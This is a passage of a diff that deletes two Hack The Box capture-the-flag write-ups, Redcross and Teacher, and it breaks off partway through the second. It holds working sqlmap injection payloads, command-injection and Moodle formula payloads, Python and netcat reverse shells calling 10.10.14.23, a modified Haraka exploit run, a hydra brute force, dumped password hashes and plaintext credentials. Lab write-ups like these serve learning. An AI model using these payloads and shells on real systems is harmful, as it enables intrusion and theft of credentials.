-GET parameter 'o' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
-sqlmap identified the following injection point(s) with a total of 469 HTTP(s) requests:
----
-Parameter: o (GET)
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
- Payload: o=2') AND (SELECT 6000 FROM(SELECT COUNT(*),CONCAT(0x71717a7671,(SELECT (ELT(6000=6000,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- scxH&page=app
----
-[14:33:52] [INFO] the back-end DBMS is MySQL
-web server operating system: Linux Debian 9.0 (stretch)
-web application technology: Apache 2.4.25
-back-end DBMS: MySQL >= 5.0
-[14:33:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/intra.redcross.htb'
-
-[*] shutting down at 14:33:52
-```
-
-Listing databases: `sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -T users --dbs`
-
-```
-[14:38:26] [INFO] used SQL query returns 2 entries
-[14:38:27] [INFO] retrieved: information_schema
-[14:38:28] [INFO] retrieved: redcross
-available databases [2]:
-[*] information_schema
-[*] redcross
-```
-
-Listing tables from `redcross` DB: `sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -D redcross --tables`
-
-```
-[14:38:41] [INFO] retrieved: messages
-[14:38:42] [INFO] retrieved: requests
-[14:38:44] [INFO] retrieved: users
-Database: redcross
-[3 tables]
-+----------+
-| messages |
-| requests |
-| users |
-+----------+
-```
-
-Dumping list of users: `sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -D redcross -T users --dump`
-
-```
-Database: redcross
-Table: users
-[5 entries]
-+----+------+------------------------------+----------+--------------------------------------------------------------+
-| id | role | mail | username | password |
-+----+------+------------------------------+----------+--------------------------------------------------------------+
-| 1 | 0 | admin@redcross.htb | admin | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. |
-| 2 | 1 | penelope@redcross.htb | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS |
-| 3 | 1 | charles@redcross.htb | charles | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i |
-| 4 | 100 | tricia.wanderloo@contoso.com | tricia | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. |
-| 5 | 1000 | non@available | guest | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi |
-+----+------+------------------------------+----------+--------------------------------------------------------------+
-```
-
-The password are stored with the bcrypt password hashing function, which is very slow to brute force. After letting hashcat (`hashcat -a 0 -m 3200`) run for some time I was able to recover the following hashes:
-
-- guest / guest
-- penelope / alexx
-- charles / cookiemonster
-
-None of them work to log in with SSH but we are able to see a few additional messages when logging in with the web messaging application.
-
-> Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!! Maybe a virus?
-
-> Hey, my chief contacted me complaining about some problem in the admin webapp. I thought that you reinforced security on it... Alerts everywhere!!
-
-That may be a hint there is another hidden page/sub-domain...
-
-### Admin web page
-
-There's another host `admin.redcross.htb` that displays a totally different application:
-
-
-
-The same cookie we stole from the admin can be used here to log in:
-
-
-
-Under the user management menu, we can see and add users to the system:
-
-
-
-
-
-We can SSH with the new user we created:
-
-```console
-root@ragingunicorn:~# ssh snowscan@10.10.10.113
-snowscan@10.10.10.113's password:
-Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
-
-The programs included with the Debian GNU/Linux system are free software;
-the exact distribution terms for each program are described in the
-individual files in /usr/share/doc/*/copyright.
-
-Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
-permitted by applicable law.
-$ ls
-bin dev etc home lib lib64 root usr
-$ id
-uid=2020 gid=1001(associates) groups=1001(associates)
-```
-
-This is some kind of chroot jail, there's not much we can do here. However we do find a single C source file: `iptctl.c`
-
-```
-$ pwd
-/home/public/src
-$ cat iptctl.c
-/*
- * Small utility to manage iptables, easily executable from admin.redcross.htb
- * v0.1 - allow and restrict mode
- * v0.3 - added check method and interactive mode (still testing!)
- */
-...
-```
-
-The file contains the program code that is called by the firewall management application on the admin page:
-
-
-
-Whenever we add/delete an IP from the firewall ACL's, the PHP code does a system() call to run the `iptctl` application and make changes to the firewall rules. If we add a semi-colon in the `id` parameter we are able to inject commands and gain code execution.
-
-Example payload like the following: `ip=1;id&action=deny`
-
-```
-Usage: /opt/iptctl/iptctl allow|restrict|show IP
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-```
-
-Since we now have RCE, we can use a standard python reverse shell command to get shell on the system.
-
-Payload: `ip=1;python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.23",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&action=deny`
-
-And we get a shell!
-
-```console
-root@ragingunicorn:~/hackthebox/Machines/Redcross# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.113] 51712
-/bin/sh: 0: can't access tty; job control turned off
-$ id
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-$ hostname
-redcross
-```
-
-```console
-www-data@redcross:/home/penelope$ ls -l
-ls -l
-total 8
-drwxrwx--- 6 penelope mailadm 4096 Jun 7 17:59 haraka
--rw-r----- 1 root penelope 33 Jun 7 18:18 user.txt
-www-data@redcross:/home/penelope$ cat user.txt
-cat user.txt
-cat: user.txt: Permission denied
-```
-
-We still can't read `user.txt` since it's owned by `penelope`... Gotta try harder I guess.
-
-### Priv esc to penelope
-
-Penelope's home directory contains the `haraka` directory. Haraka is an SMTP email server written in Node.js and contains at least one vulnerability according to Exploit-DB:
-
-```
------------------------------------------
-Haraka < 2.8.9 - Remote Command Execution
-/linux/remote/41162.py
------------------------------------------
-Shellcodes: No Result
-```
-
-The server is running but doesn't appear to be listening on port 25:
-
-```console
-www-data@redcross:/home/penelope$ ps waux | grep haraka
-ps waux | grep haraka
-penelope 1199 0.0 1.9 994608 20068 ? Ssl 09:47 0:02 node /usr/bin/haraka -c /home/penelope/haraka
-```
-
-```console
-www-data@redcross:/home/penelope$ telnet 127.0.0.1 25
-telnet 127.0.0.1 25
-Trying 127.0.0.1...
-telnet: Unable to connect to remote host: Connection refused
-www-data@redcross:/home/penelope$ netstat -panut
-netstat -panut
-bash: netstat: command not found
-```
-
-Netstat is not installed so I went back to the firewall control page added a whitelist entry for my IP address and scanned the box again with nmap:
-
-```console
-root@ragingunicorn:~# nmap -p- 10.10.10.113
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-11 15:18 EST
-Nmap scan report for intra.redcross.htb (10.10.10.113)
-Host is up (0.018s latency).
-Not shown: 65529 closed ports
-PORT STATE SERVICE
-21/tcp open ftp
-22/tcp open ssh
-80/tcp open http
-443/tcp open https
-1025/tcp open NFS-or-IIS
-5432/tcp open postgresql
-```
-
-1025 looks interesting but we can't connect to it with telnet:
-
-```console
-root@ragingunicorn:~# telnet 10.10.10.113 25
-Trying 10.10.10.113...
-telnet: Unable to connect to remote host: Connection refused
-```
-
-We can connect locally though:
-
-```console
-root@ragingunicorn:~# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.113] 52064
-/bin/sh: 0: can't access tty; job control turned off
-$ telnet 127.0.0.1 1025
-Trying 127.0.0.1...
-Connected to 127.0.0.1.
-Escape character is '^]'.
-220 redcross ESMTP Haraka 2.8.8 ready
-quit
-```
-
-The exploit needs to be modified slightly because the port is hardcoded and needs to be changed to 1025.
-
-Line 123 needs to be changed to the following:
-
-```python
-...
-s = smtplib.SMTP(mailserver,1025)
-...
-```
-
-We can use vi to create the exploit .py file in /dev/shm, then execute it to spawn a reverse shell:
-
-Note: The email address must contain the `redcross.htb` domain.
-
-```console
-www-data@redcross:/dev/shm$ ./h.py -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.23\",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" -t penelope@redcross.htb -f penelope@redcross.htb -m redcross
-htb -m redcrossn/sh\",\"-i\"]);'" -t penelope@redcross.htb -f penelope@redcross.h
-## ## ### ######## ### ## ## #### ######## ####
-## ## ## ## ## ## ## ## ## ## ## ## ## ##
-## ## ## ## ## ## ## ## ## ## ## ## ## ##
-######### ## ## ######## ## ## ##### ## ######## ##
-## ## ######### ## ## ######### ## ## ## ## ## ##
-## ## ## ## ## ## ## ## ## ## ## ## ## ##
-## ## ## ## ## ## ## ## ## ## #### ## ## ####
-
--o- by Xychix, 26 January 2017 ---
--o- xychix [at] hotmail.com ---
--o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --
-
--i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this)
-
-Send harariki to penelope@redcross.htb, attachment saved as harakiri-20181111-152151.zip, commandline: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' , mailserver redcross is used for delivery
-Content-Type: multipart/mixed; boundary="===============2632093882109835759=="
-MIME-Version: 1.0
-Subject: harakiri
-From: penelope@redcross.htb
-To: penelope@redcross.htb
-
---===============2632093882109835759==
-Content-Type: text/plain; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-
-harakiri
---===============2632093882109835759==
-Content-Type: application/octet-stream; Name="harakiri.zip"
-MIME-Version: 1.0
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="harakiri.zip"
-
-UEsDBBQAAAAIALl6a00BtHNYbAEAAI0BAADyAAAAYSI7cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0
-LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NL
-X1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMjMiLDU1NTUpKTtvcy5kdXAyKHMuZmlsZW5v
-KCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3Vi
-cHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc7ZWNobyAiYS56aXAL8GZmEWFgYOBg2FmV
-7Su+rEFdmJGBgZ2ZgYEHKJqRWJSYnVmUqVdSUTI18HRes4HAnt/abo8meZiqyGSIbP2+Kj5g5atE
-Zr6yU94blnz4/nTiB66gq1Ml1penXU/Oicw4vKlqj35sQtjuRPeeLr5W05mXLjof98pt6Fz090jS
-/mWSky5efTxl986JM3/Nvaq29vBc8Tixz3kGa3X39Ny+OaVy25dPP+Kv7f0ztzffZC8jyz9pp2VC
-y6Xkt673/cpy/bC1qupT0zt3/0kGnfILKrWx69y/ILjvpMu2+ceY16/S8eJ1Dva736LCO6VW88Ir
-rqnxoX3Tw3d8O2iX8Dk5onnGyesbvSQiQ9rUGH/mrDuidcMsuHWC2yGV5184zs4RdT/OOXvfpyty
-r78ct8j/O2lq4JM3e+e282azxgcLaW1QO3YzRCsjKDjnqH6ANyOTCAPu4IOBBkYGtMAM8GZlA4kx
-AqEVkLYFqwAAUEsBAhQAFAAAAAgAuXprTQG0c1hsAQAAjQEAAPIAAAAAAAAAAAAAAIABAAAAAGEi
-O3B5dGhvbiAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChz
-b2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjIz
-Iiw1NTU1KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9z
-LmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsn
-O2VjaG8gImEuemlwUEsFBgAAAAABAAEAIAEAAHwCAAAAAA==
---===============2632093882109835759==--
-
-[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [plugin timeout]
-www-data@redcross:/dev/shm$
-```
-
-```console
-root@ragingunicorn:~/hackthebox/Machines/Redcross# nc -lvnp 5555
-listening on [any] 5555 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.113] 33380
-/bin/sh: 0: can't access tty; job control turned off
-$ id
-uid=1000(penelope) gid=1000(penelope) groups=1000(penelope)
-$ cat user.txt
-cat: user.txt: No such file or directory
-$ pwd
-/
-$ cd /home/penelope
-$ cat user.txt
-ac899b...
-```
-
-### Priv esc to root
-
-The NSS plugin is installed, so SSH can authenticate users from the postgresql database instead of `/etc/passwd`
-
-```console
-$ cat nss-pgsql.conf
-connectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnss password=fios@ew023xnw connect_timeout=1
-```
-
-We can't read the other file though...
-
-```console
-$ cat nss-pgsql-root.conf
-cat: nss-pgsql-root.conf: Permission denied
-```
-
-With the credentials we can poke inside the database:
-
-```
-penelope@redcross:/etc$ psql -h 127.0.0.1 -U unixnss -W unix
-psql -h 127.0.0.1 -U unixnss -W unix
-Password for user unixnss: fios@ew023xnw
-
-psql (9.6.7)
-SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
-Type "help" for help.
-
-unix=> \d
-\d
- List of relations
- Schema | Name | Type | Owner
---------+--------------+----------+----------
- public | group_id | sequence | postgres
- public | group_table | table | postgres
- public | passwd_table | table | postgres
- public | shadow_table | table | postgres
- public | user_id | sequence | postgres
- public | usergroups | table | postgres
-(6 rows)
-```
-
-Here we can see the user table in which the user we created resides:
-
-```
-unix=> select * from passwd_table;
-select * from passwd_table;
- username | passwd | uid | gid | gecos | homedir | shell
-----------+------------------------------------+------+------+-------+----------------+-----------
- tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash
- snowscan | $1$ANxI97CM$noo3OJtS7FevXzzfR//ih0 | 2020 | 1001 | | /var/jail/home | /bin/bash
-(2 rows)
-```
-
-We'll try adding a new user with password `yolo1234` and set it's UID and GID to 0:
-
-```
-unix=> insert into passwd_table (username, passwd, uid, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,0,'/root');
-ERROR: permission denied for relation passwd_table
-```
-
-Too bad, this user doesn't have access... But the web application probably has an account that has the correct rights to add users since we were able to create a user from the web interface earlier.
-
-The `/var/www/html/admin/pages/actions.php` file contains the credentials we are looking for: `unixusrmgr / dheu%7wjx8B&`
-
-```
-if($action==='adduser'){
- $username=$_POST['username'];
- $passw=generateRandomString();
- $phash=crypt($passw);
- $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
- $result = pg_prepare($dbconn, "q1", "insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, '/var/jail/home')");
- $result = pg_execute($dbconn, "q1", array($username, $phash));
- echo "Provide this credentials to the user:
";
- echo "$username : $passw
Continue";
-}
-```
-
-Let's try the same SQL query again with these credentials:
-
-```
-unix=> insert into passwd_table (username, passwd, uid, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,0,'/root');
-ERROR: permission denied for relation passwd_table
-```
-
-Ugh. Same problem again, let's try adding a user without setting the UID, but only the GID:
-
-```
-unix=> insert into passwd_table (username, passwd, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,'/root');
-ERROR: duplicate key value violates unique constraint "passwd_table_username_key"
-DETAIL: Key (username)=(snowscan) already exists.
-unix=> insert into passwd_table (username, passwd, gid, homedir) values ('snowscan2','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,'/root');
-INSERT 0 1
-unix=> select * from passwd_table;
- username | passwd | uid | gid | gecos | homedir | shell
------------+----------------------------------------------------------------------------------------------------+------+------+-------+----------------+-----------
- tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash
- snowscan | $1$ANxI97CM$noo3OJtS7FevXzzfR//ih0 | 2020 | 1001 | | /var/jail/home | /bin/bash
- snowscan2 | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1 | 2022 | 0 | | /root | /bin/bash
-(3 rows)
-```
-
-Allright, we can log in now, but still don't have access to read root.txt, we'll need to have a UID of 0 to do that:
-
-```
-snowscan2@redcross:~$ ls -l
-total 12
-drwxr-xr-x 3 root root 4096 Jun 6 14:05 bin
-drwxrwxr-x 11 root root 4096 Jun 7 17:32 Haraka-2.8.8
--rw------- 1 root root 33 Jun 8 06:51 root.txt
-snowscan2@redcross:~$ cat root.txt
-cat: root.txt: Permission denied
-```
-
-We can now read `nss-pgsql-root.conf` since we are part of root's group and we find more credentials: `unixnssroot / 30jdsklj4d_3`
-
-```
-snowscan2@redcross:/etc$ ls -l nss-pgsql-root.conf
--rw-rw---- 1 root root 540 Jun 8 06:24 nss-pgsql-root.conf
-snowscan2@redcross:/etc$ cat nss-pgsql-root.conf
-shadowconnectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnssroot password=30jdsklj4d_3 connect_timeout=1
-shadowbyname = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE username = $1 ORDER BY lastchange DESC LIMIT 1;
-shadow = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE (username,lastchange) IN (SELECT username, MAX(lastchange) FROM shadow_table GROUP BY username);
-```
-
-Using this account, we are able to create a new user with UID 0:
-
-```
-unix=> insert into passwd_table (username, passwd, uid,gid, homedir) values ('snowscan_root','$6$oTkOZvS...',0,0,'/root');
-INSERT 0 1
-unix=> select * from passwd_table;
- username | passwd | uid | gid | gecos | homedir | shell
----------------+----------------------------------------------------------------------------------------------------+------+------+-------+----------------+-----------
- tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash
- snowscan | $1$ANxI97CM$NZZ3OJtS7FevXzzfR//ih0 | 2020 | 1001 | | /var/jail/home | /bin/bash
- snowscan2 | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UCzEdZxhzd/MbSy2R5Kp1x4rtNCgHsJ1 | 2022 | 0 | | /root | /bin/bash
- snowscan_root | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UCzEdZxhzd/MbSy2R5Kp1x4rtNCgHsJ1 | 0 | 0 | | /root | /bin/bash
-(4 rows)
-```
-
-We can't SSH in with this account because of the SSH server settings:
-
-```console
-snowscan2@redcross:/etc/ssh$ grep -i root sshd_config
-PermitRootLogin prohibit-password
-```
-
-But we can `su` to the new user and get the root flag
-
-```console
-snowscan2@redcross:/etc/ssh$ su -l snowscan_root
-Password:
-
-snowscan_root@redcross:~# id
-uid=0(snowscan_root) gid=0(root) groups=0(root)
-
-snowscan_root@redcross:~# cat /root/root.txt
-892a1f...
-```
\ No newline at end of file
diff --git a/_posts/2019-04-20-htb-writeup-teacher.md b/_posts/2019-04-20-htb-writeup-teacher.md
deleted file mode 100644
index 6d41bae136..0000000000
--- a/_posts/2019-04-20-htb-writeup-teacher.md
+++ /dev/null
@@ -1,301 +0,0 @@
----
-layout: single
-title: Teacher - Hack The Box
-excerpt: "Teacher uses the Moodle Open Source Learning platform and contains a vulnerability in the math formula that gives us RCE. The credentials for the Moodle application are found in a .png file that contains text instead of an actual image. After getting a shell with the math formula, we find the low privilege user credentials in the MySQL database. We then escalate to root by abusing a backup script running from a cronjob as root."
-date: 2019-04-20
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-teacher/teacher_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - moodle
- - mysql
- - enumeration
- - ctf
- - tar
- - cronjob
----
-
-
-
-Teacher uses the Moodle Open Source Learning platform and contains a vulnerability in the math formula that gives us RCE. The credentials for the Moodle application are found in a .png file that contains text instead of an actual image. After getting a shell with the math formula, we find the low privilege user credentials in the MySQL database. We then escalate to root by abusing a backup script running from a cronjob as root.
-
-## Tools/Exploits/CVEs used
-
-- [https://blog.ripstech.com/2018/moodle-remote-code-execution/](https://blog.ripstech.com/2018/moodle-remote-code-execution/)
-- [https://github.com/StefanoDeVuono/steghide](stehide)
-
-### Nmap
-
-Only the HTTP port is open on this box, running the Apache webserver.
-
-```
-# nmap -F -sC -sV 10.10.10.153
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-01 21:20 EST
-Nmap scan report for teacher.htb (10.10.10.153)
-Host is up (0.018s latency).
-Not shown: 99 closed ports
-PORT STATE SERVICE VERSION
-80/tcp open http Apache httpd 2.4.25 ((Debian))
-|_http-server-header: Apache/2.4.25 (Debian)
-|_http-title: Blackhat highschool
-```
-
-### Enumerating the website
-
-
-
-The first pass at dirbursting shows the `/moodle` directory, which refers to the [Moodle](https://moodle.org/) Open Source Learning platform.
-```
-# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u http://teacher.htb
-/.htaccess (Status: 403)
-/.htpasswd (Status: 403)
-/css (Status: 301)
-/fonts (Status: 301)
-/images (Status: 301)
-/javascript (Status: 301)
-/js (Status: 301)
-/manual (Status: 301)
-/moodle (Status: 301)
-/phpmyadmin (Status: 403)
-/server-status (Status: 403)
-=====================================================
-2018/12/01 14:02:42 Finished
-=====================================================
-```
-
-I also spidered the host with Burp hoping to catch other stuff. I noticed that the image file `5.png` wasn't showing up with the same icon as the rest of the other files:
-
-
-
-When we browse to the gallery, we also see there's an image missing:
-
-
-
-The source code contains the file as well as a weird javascript console message:
-
-
-
-The `5.png` image file exists but isn't a valid image:
-
-
-
-If we look at the file with Burp, we see that the file contains part of a password: `Th4C00lTheacha`. We can guess that the user is probably named Giovanni based on the note.
-
-
-
-### Moodle enumeration
-
-The Moodle application is running on this server, as shown below:
-
-
-
-Guest login is enabled but we don't have access to anything useful with this account.
-
-We got a partial password from the `5.png` file but we're missing the last letter. I used the following script to generate a wordlist:
-
-```python
-f = open('pwd', 'w')
-for i in range (0,127):
- f.write('Th4C00lTheacha{}\n'.format(chr(i)))
-```
-
-Then using hydra we can bruteforce the `giovanni` account. We'll match on `Set-Cookie` as a positive response since the cookie is only set when we submit the correct credentials.
-
-```
-# hydra -I -l giovanni -P pwd.txt 10.10.10.153 http-post-form "/moodle/login/index.php:username=^USER^&password=^PASS^:S=Set-Cookie"
-Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
-
-Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-01 21:37:44
-[DATA] max 16 tasks per 1 server, overall 16 tasks, 128 login tries (l:1/p:128), ~8 tries per task
-[DATA] attacking http-post-form://10.10.10.153:80//moodle/login/index.php:username=^USER^&password=^PASS^:S=Set-Cookie
-[80][http-post-form] host: 10.10.10.153 login: giovanni password: Th4C00lTheacha#
-1 of 1 target successfully completed, 1 valid password found
-Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-01 21:38:06
-```
-
-We found the password: `Th4C00lTheacha#`
-
-We can now log in to the Moodle webpage with `giovanni / Th4C00lTheacha#`:
-
-
-
-I googled vulnerabilities for Moodle and found a [blog post](https://blog.ripstech.com/2018/moodle-remote-code-execution/) about an RCE vulnerability in the Math formulas of the Quiz component. Basically, the math formula uses the PHP `eval` function to return the result and the input sanitization that is put in place in Moodle is not sufficient and can bypassed. Once we have RCE we can spawn a reverse shell.
-
-First we add a new quiz:
-
-
-Then create a question with 'Calculated' type:
-
-
-We can put anything in the question name and text but for the formula we enter ``/*{a*/`$_GET[0]`;//{x}}``
-
-
-The formula will execute code we put in the `$_GET['0']` parameter:
-
-`10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetitems&cmid=7&0=(nc -e /bin/bash 10.10.14.23 4444)`
-
-
-
-This'll spawn a shell for us:
-
-```
-# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.153] 49210
-id
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-python -c 'import pty;pty.spawn("/bin/bash")'
-www-data@teacher:/var/www/html/moodle/question$
-```
-
-### Getting access to giovanni user
-
-Like any web application with a database backend, the first thing I do once I get a shell is look for hardcoded database credentials in the PHP configuration file of the application. The Moodle configuration file contains the `root` account password for the MySQL database:
-
-```
-www-data@teacher:/var/www/html/moodle$ cat config.php
-dbtype = 'mariadb';
-$CFG->dblibrary = 'native';
-$CFG->dbhost = 'localhost';
-$CFG->dbname = 'moodle';
-$CFG->dbuser = 'root';
-$CFG->dbpass = 'Welkom1!';
-```
-
-List of databases:
-```
-MariaDB [(none)]> show databases;
-show databases;
-+--------------------+
-| Database |
-+--------------------+
-| information_schema |
-| moodle |
-| mysql |
-| performance_schema |
-| phpmyadmin |
-+--------------------+
-```
-
-The `mdl_user` table contains passwords:
-```
-MariaDB [moodle]> show tables;
-show tables;
-+----------------------------------+
-| Tables_in_moodle |
-+----------------------------------+
-...
-| mdl_user |
-...
-```
-
-```
-MariaDB [moodle]> select * from mdl_user;
-select * from mdl_user;
-+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+
-| id | auth | confirmed | policyagreed | deleted | suspended | mnethostid | username | password | idnumber | firstname | lastname | email | emailstop | icq | skype | yahoo | aim | msn | phone1 | phone2 | institution | department | address | city | country | lang | calendartype | theme | timezone | firstaccess | lastaccess | lastlogin | currentlogin | lastip | secret | picture | url | description | descriptionformat | mailformat | maildigest | maildisplay | autosubscribe | trackforums | timecreated | timemodified | trustbitmask | imagealt | lastnamephonetic | firstnamephonetic | middlename | alternatename |
-+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+
-| 1 | manual | 1 | 0 | 0 | 0 | 1 | guest | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO | | Guest user | | root@localhost | 0 | | | | | | | | | | | | | en | gregorian | | 99 | 0 | 0 | 0 | 0 | | | 0 | | This user is a special user that allows read-only access to some courses. | 1 | 1 | 0 | 2 | 1 | 0 | 0 | 1530058999 | 0 | NULL | NULL | NULL | NULL | NULL |
-| 2 | manual | 1 | 0 | 0 | 0 | 1 | admin | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 | | Admin | User | gio@gio.nl | 0 | | | | | | | | | | | | | en | gregorian | | 99 | 1530059097 | 1530059573 | 1530059097 | 1530059307 | 192.168.206.1 | | 0 | | | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 1530059135 | 0 | NULL | | | | |
-| 3 | manual | 1 | 0 | 0 | 0 | 1 | giovanni | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO | | Giovanni | Chhatta | Giio@gio.nl | 0 | | | | | | | | | | | | | en | gregorian | | 99 | 1530059681 | 1543718703 | 1543718276 | 1543718446 | 10.10.14.23 | | 0 | | | 1 | 1 | 0 | 2 | 1 | 0 | 1530059291 | 1530059291 | 0 | | | | | |
